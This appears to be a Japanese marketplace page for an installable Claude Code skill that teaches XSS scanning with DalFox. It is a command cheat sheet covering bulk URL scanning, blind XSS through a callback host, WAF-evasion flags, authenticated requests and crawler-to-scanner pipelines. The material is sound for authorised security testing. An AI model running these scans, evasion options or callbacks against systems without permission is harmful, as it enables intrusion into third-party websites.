mcpField
D
dalfox-xss

dalfox-xss

github.com/wgpsecセキュリティ1.8k43 回インストール4 日前に更新
リポジトリ

dalfox-xss について

Web セキュリティテスト向けの DalFox による XSS スキャン方法論です。URL、ファイル、パイプ入力のスキャンに加え、Blind XSS、WAF 回避、DOM 分析、認証リクエストの設定を扱います。

主な機能

  1. 01URL、ファイル、標準入力をスキャン
  2. 02コールバックを使った Blind XSS スキャン
  3. 03WAF 回避オプションの有効化
  4. 04DOM 分析の実行
  5. 05Cookie とカスタム Header の設定
  6. 06クローラーや URL 収集パイプラインとの連携

活用シーン

  1. 01パラメーター付き URL のテスト
  2. 02収集した URL の一括スキャン
  3. 03コールバックアドレスを使った Blind XSS のテスト
  4. 04クローラーや URL 収集結果をスキャンに入力

インストール

コマンドをコピーしてターミナルで実行します。

$npx skills add https://github.com/wgpsec/aboutsecurity --skill dalfox-xss

インストール後、Claude Code で/dalfox-xssを入力して読み込まれたか確認します。

詳細

DalFox XSS 脆弱性スキャンの方法論

DalFox は、専門的な XSS 脆弱性スキャナーです。主な強みは、パラメーターのインテリジェントな分析(インジェクション可能なパラメーターを自動識別)+DOM の探索+WAF の回避+Blind XSS のサポートです。

プロジェクトの URL:https://github.com/hahwul/dalfox

Phase 1: 基本スキャン

# 扫描单个 URL(含参数)
dalfox url "http://target.com/search?q=test"

# 从文件批量扫描
dalfox file urls.txt

# 从 stdin 管道
cat urls.txt | dalfox pipe

# 静默输出(只显示发现)
dalfox url "http://target.com/search?q=test" --silence

Phase 2: 高度なスキャン

# Blind XSS(指定回调地址)
dalfox url "http://target.com/form?input=test" \
  --blind "https://your-callback.xss.ht"

# 启用 WAF 绕过
dalfox url "http://target.com/search?q=test" --waf-evasion

# 启用 DOM 分析
dalfox url "http://target.com/page" --mining-dom

# 自定义 Payload 文件
dalfox url "http://target.com/search?q=test" \
  --custom-payload payloads.txt

# POST 请求
dalfox url "http://target.com/submit" \
  --data "name=test&comment=hello" --method POST

Phase 3: 認証とカスタマイズ

# 带 Cookie
dalfox url "http://target.com/search?q=test" \
  --cookie "session=abc123"

# 自定义 Header
dalfox url "http://target.com/search?q=test" \
  --header "Authorization: Bearer token"

# 使用代理
dalfox url "http://target.com/search?q=test" \
  --proxy http://127.0.0.1:8080

# 控制并发和延迟
dalfox url "http://target.com/search?q=test" \
  --worker 10 --delay 100

Phase 4: パイプライン統合

# 爬虫 → XSS 扫描
katana -u http://target.com -jc -silent | dalfox pipe --silence

# 参数发现 → XSS 扫描
cat urls.txt | gau | grep "=" | dalfox pipe --silence

# URL 收集 → 去重 → XSS 扫描
gau target.com | grep "=" | sort -u | dalfox pipe --silence

# JSON 输出
dalfox url "http://target.com/search?q=test" --format json -o results.json

よくあるシナリオのクイックリファレンス

シナリオコマンド
単一 URL の高速スキャンdalfox url "http://target/search?q=test"
一括スキャンdalfox file urls.txt --silence
Blind XSSdalfox url "URL" --blind "https://callback.xss.ht"
WAF の回避dalfox url "URL" --waf-evasion
パイプラインスキャンcat urls.txt | dalfox pipe --silence

コメント